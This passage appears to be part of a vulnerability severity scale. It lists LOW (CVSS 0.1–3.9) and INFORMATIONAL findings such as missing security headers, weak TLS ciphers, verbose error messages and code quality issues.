LOW (CVSS 0.1–3.9)
├─ Missing security headers
├─ Weak TLS ciphers (no direct exploit)
├─ Verbose error messages (information disclosure)
└─ Outdated library (no known exploitable vuln)
INFORMATIONAL
├─ Code quality issues
├─ Missing best-practice security configurations
└─ Observations that may become vulnerabilities